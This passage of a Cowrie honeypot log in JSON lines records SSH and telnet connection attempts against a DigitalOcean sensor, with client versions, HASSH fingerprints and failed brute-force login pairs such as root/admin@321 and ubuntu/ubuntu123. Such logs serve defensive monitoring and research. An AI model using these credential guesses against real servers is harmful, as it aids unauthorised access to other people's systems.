{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:37:46.967676Z","src_ip":"165.154.5.173","session":"341fe66f8452","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:37:47.184651Z","src_ip":"165.154.5.173","session":"341fe66f8452","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin@321","message":"login attempt [root/admin@321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:37:48.082623Z","src_ip":"165.154.5.173","session":"341fe66f8452","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.182","src_port":58644,"dst_ip":"10.17.0.5","dst_port":22,"session":"0fcab3c09470","protocol":"ssh","message":"New connection: 80.94.92.182:58644 (10.17.0.5:22) [session: 0fcab3c09470]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:37:48.572429Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:37:48.643467Z","src_ip":"80.94.92.182","session":"0fcab3c09470","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:37:48.735485Z","src_ip":"80.94.92.182","session":"0fcab3c09470","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"ubuntu123","message":"login attempt [ubuntu/ubuntu123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:37:49.139187Z","src_ip":"80.94.92.182","session":"0fcab3c09470","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:37:49.302145Z","src_ip":"165.154.5.173","session":"341fe66f8452","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:37:50.253309Z","src_ip":"80.94.92.182","session":"0fcab3c09470","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":56294,"dst_ip":"159.203.135.109","dst_port":22,"session":"3ba63b21dc16","protocol":"ssh","message":"New connection: 159.203.92.129:56294 (159.203.135.109:22) [session: 3ba63b21dc16]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:38:03.794654Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:38:03.802770Z","src_ip":"159.203.92.129","session":"3ba63b21dc16","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:38:03.807766Z","src_ip":"159.203.92.129","session":"3ba63b21dc16","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"andreas","password":"andreas","message":"login attempt [andreas/andreas] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:38:03.820468Z","src_ip":"159.203.92.129","session":"3ba63b21dc16","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:38:04.827339Z","src_ip":"159.203.92.129","session":"3ba63b21dc16","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.180.212.135","src_port":41838,"dst_ip":"159.203.135.109","dst_port":22,"session":"d723d85d2534","protocol":"ssh","message":"New connection: 103.180.212.135:41838 (159.203.135.109:22) [session: d723d85d2534]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:38:17.467282Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:38:17.472341Z","src_ip":"103.180.212.135","session":"d723d85d2534","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:38:17.665596Z","src_ip":"103.180.212.135","session":"d723d85d2534","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"admin12345","message":"login attempt [ubuntu/admin12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:38:18.471277Z","src_ip":"103.180.212.135","session":"d723d85d2534","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:38:19.667577Z","src_ip":"103.180.212.135","session":"d723d85d2534","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"118.43.180.56","src_port":60783,"dst_ip":"159.203.135.109","dst_port":23,"session":"c9721dd44b49","protocol":"telnet","message":"New connection: 118.43.180.56:60783 (159.203.135.109:23) [session: c9721dd44b49]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:38:33.900999Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.26.126.47","src_port":54962,"dst_ip":"159.203.135.109","dst_port":23,"session":"a34b7046e697","protocol":"telnet","message":"New connection: 185.26.126.47:54962 (159.203.135.109:23) [session: a34b7046e697]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:38:36.281474Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":39304,"dst_ip":"159.203.135.109","dst_port":22,"session":"34ae292c1139","protocol":"ssh","message":"New connection: 159.203.92.129:39304 (159.203.135.109:22) [session: 34ae292c1139]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:38:45.694764Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:38:45.700332Z","src_ip":"159.203.92.129","session":"34ae292c1139","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:38:45.705625Z","src_ip":"159.203.92.129","session":"34ae292c1139","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"andres","password":"123456","message":"login attempt [andres/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:38:45.718387Z","src_ip":"159.203.92.129","session":"34ae292c1139","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:38:46.724841Z","src_ip":"159.203.92.129","session":"34ae292c1139","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":14.85088324546814,"message":"Connection lost after 14 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:38:48.751778Z","src_ip":"118.43.180.56","session":"c9721dd44b49","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.26.126.47","src_port":42240,"dst_ip":"159.203.135.109","dst_port":23,"session":"fe0dc89d2c07","protocol":"telnet","message":"New connection: 185.26.126.47:42240 (159.203.135.109:23) [session: fe0dc89d2c07]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:38:54.870841Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.180.212.135","src_port":53750,"dst_ip":"159.203.135.109","dst_port":22,"session":"afddb5cd103b","protocol":"ssh","message":"New connection: 103.180.212.135:53750 (159.203.135.109:22) [session: afddb5cd103b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:39:13.609552Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:39:13.615161Z","src_ip":"103.180.212.135","session":"afddb5cd103b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:39:13.808832Z","src_ip":"103.180.212.135","session":"afddb5cd103b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"trojanuser","password":"trojanuser","message":"login attempt [trojanuser/trojanuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:39:14.616948Z","src_ip":"103.180.212.135","session":"afddb5cd103b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:39:15.813703Z","src_ip":"103.180.212.135","session":"afddb5cd103b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":45.55714821815491,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:39:21.838495Z","src_ip":"185.26.126.47","session":"a34b7046e697","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.25","src_port":12087,"dst_ip":"10.17.0.5","dst_port":22,"session":"272e73a3a8d3","protocol":"ssh","message":"New connection: 2.57.121.25:12087 (10.17.0.5:22) [session: 272e73a3a8d3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:39:22.976779Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:39:22.981942Z","src_ip":"2.57.121.25","session":"272e73a3a8d3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:39:23.081644Z","src_ip":"2.57.121.25","session":"272e73a3a8d3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"edmond","message":"login attempt [user/edmond] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:39:23.554074Z","src_ip":"2.57.121.25","session":"272e73a3a8d3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"echo","message":"login attempt [user/echo] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:39:24.656026Z","src_ip":"2.57.121.25","session":"272e73a3a8d3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.26.126.47","src_port":36816,"dst_ip":"159.203.135.109","dst_port":23,"session":"a511d039097a","protocol":"telnet","message":"New connection: 185.26.126.47:36816 (159.203.135.109:23) [session: a511d039097a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:39:24.778368Z"}
{"eventid":"cowrie.login.failed","username":"user","password":"dutchman","message":"login attempt [user/dutchman] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:39:25.759218Z","src_ip":"2.57.121.25","session":"272e73a3a8d3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":42770,"dst_ip":"159.203.135.109","dst_port":22,"session":"8efac3675615","protocol":"ssh","message":"New connection: 159.203.92.129:42770 (159.203.135.109:22) [session: 8efac3675615]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:39:26.377504Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:39:26.381645Z","src_ip":"159.203.92.129","session":"8efac3675615","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh